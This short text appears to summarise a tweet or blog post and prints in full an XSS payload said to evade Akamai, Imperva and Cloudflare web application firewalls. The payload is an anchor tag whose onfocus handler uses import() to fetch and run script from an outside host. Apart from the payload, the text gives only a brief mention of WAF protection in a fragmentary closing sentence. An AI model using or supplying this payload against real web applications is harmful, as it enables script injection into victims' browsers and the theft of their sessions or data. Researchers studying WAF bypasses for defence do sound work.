This tweet showcases a powerful XSS payload designed to bypass Akamai, Imperva, and CloudFlare WAFs. The payload is <A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>. This payload exploits a vulnerability in these WAFs to execute malicious scripts on the targeted web application. Blogpost about this bypass, highlighting the impact on security and the need for robust WAF protection.